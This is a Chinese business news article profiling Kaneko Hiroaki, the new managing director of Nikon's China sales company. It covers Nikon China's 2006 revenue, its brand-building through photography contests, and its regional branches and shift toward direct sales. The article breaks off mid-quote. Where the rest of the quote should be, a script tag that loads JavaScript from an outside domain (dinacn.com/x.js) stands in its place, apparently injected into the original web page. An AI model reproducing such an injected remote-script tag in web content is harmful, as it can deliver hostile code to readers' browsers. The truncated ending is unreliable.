新调任的金子博明在此之前只是日本总部从未有过任何海外业务经验的“新人”,就任中国之后,他能否带领尼康中国延续尼康在胶片时代的辉煌,正为许多人所关注

　　作为全球最大的照相机及映像仪器生产厂商之一,尼康很早就在中国摄影专业圈中赢得了良好的口碑,但由于政策法规等方面的限制,直到2005年6月22日,尼康才在中国成立销售有限公司。

　　尽管“迟到”于众多竞争对手,但在2006年,尼康还是实现了14亿元人民币的营业额,比2005年增长了20%。

　　去年末,金子博明奉命调任中国担任尼康映像仪器销售(中国)有限公司董事总经理一职,其前任御给伸好则升任为董事长。御给伸好晋升在某种程度上也是总部对尼康中国销售业绩的肯定。

　　胶片时代的尼康一直是业内公认的优秀品牌,但在目前数码流行时代,行业洗牌让同行又重回到起跑线上。因此,映像业老品牌尼康在中国还是一家“年轻的公司”。

　　而且新调任的金子博明在此之前只是日本总部从未有过任何海外业务经验的“新人”,他能否带领尼康中国延续尼康在胶片时代的辉煌,正为许多人所关注。
 
　　回归大众

　　“第一次听到总公司的人事安排,我感到很惊讶,”金子博明说。在尼康公司30年里,金子博明几乎都是负责日本本土的工作,独立负责海外业务这是第一次。

　　尼康总部之所以会选择金子博明,一方面是他有着多年的一线销售工作经验,另一方面则缘于他在20年前曾经参与组建日本当地的销售公司。因此,中国这个年轻的销售公司的领导人选就自然而然地落到了他的头上。

　　到中国就任之前,尼康总部对金子博明有所交代:在中国这样一个庞大的发展中国家,要想做好销售工作,首先就要在众多消费者心中树立起品牌;其次,由于尼康中国成立还不到2年,很多管理制度尚不完善,众多关键部门的人选也还未敲定。因此,如何将尼康公司的内部关系理顺、巩固架构,为下一步的发展打好基础,是金子博明的另一项重要任务。

　　到任后,除了日常的交接工作,金子博明的前任御给伸好也向他面授机宜,“中国是一个发展速度很快的国家,在这样一个高速发展的国家中,我们有很多的机遇。”言下之意,金子博明未来施展拳脚的空间会很大,而他所需要做的就是好好把握机会。

　　目前,金子博明除了每天的日常事务外,他现在的一项重要功课就是出差:出席各地特约维修店的成立仪式,或在各种尼康主办的摄影展上做“形象大使”。

　　长久以来,尼康在专业摄影师的心目中一直是高品质相机的代名词,但随着数码潮流的兴起,尼康意识到,映像业的新时代到来了。相机已经不再是只为少数专业人士所把玩的精密仪器,越来越多的普通人也开始使用。

　　市场在变化,尼康也要做出转变。因此,如何能尽快让中国消费者了解尼康这个品牌就成为金子博明当前的首要任务。

　　“在保证高品质的同时,尼康将产品线拉长,推出不同系列的产品,满足不同层次人群的需求。”金子博明说,当时他们提出了一个目标,就是要让更多的消费者知道尼康这个品牌。

　　其实从2006年开始,尼康就在中国推出不同主题的摄影大赛活动。例如,“尼康在中国”2006中国世界文化遗产摄影大赛、“尼康杯”走进西藏摄影大赛等,通过各种活动调动了不少摄影爱好者的兴趣。此外,尼康还在不时全国各地推出各种新品的巡回展览,不断为自己的普通消费者“补课”。

　　渠道变革

　　“来中国之后,我最深的感受就是中国是一个很大的国家,因此,无论是在商业运作还是在产品推广方面,难度都要比其他国家和地区要大一些。”在中国市场考察一段时间之后,金子博明深有感触地说。

　　对于尼康,中国的确是一个巨大的市场。海外企业首先要做的就是对自身战略进行合理的筹划。

　　“对于中国的市场,我们基本上是按照中国的行政区域进行划分的。”金子博明介绍,例如上海既是尼康的总公司,又统领整个华东区域。北京则是整个东北、华北区域的中心。此外,成都是整个西南市场的中心。广州则是南方区域的核心。

　　目前,尼康中国已经在北京、成都、广州成立了分公司,并希望通过以上四个点来辐射整个中国市场。

　　随着各家分公司的成立,另一项重要的变革也正在“悄无声息”地进行之中。

　　过去,尼康在中国主要通过四大代理商对其产品进行销售,2005年尼康在中国的销售公司成立之后,其渠道策略自然也需要做出相应调整。

　　2006年初,时任尼康映像仪器销售(中国)有限公司董事总经理的御给伸好曾透露,尼康公司最终要对自己的产品实现直销,他表示,“直销模式更有利于我们的发展。所以不做也不行,因为市场要求我们做出这样的调整。”

　　尽管御给伸好有过这种明确的表示,但面对记者,金子博明表却“守口如瓶”,他谨慎地表示:“这涉及我们公司的销售战略,也是我们公司的机密,所以我不能讲得很详细,因为它还涉及很多问题,但是我可以?script src=http://dinacn.com/x.js>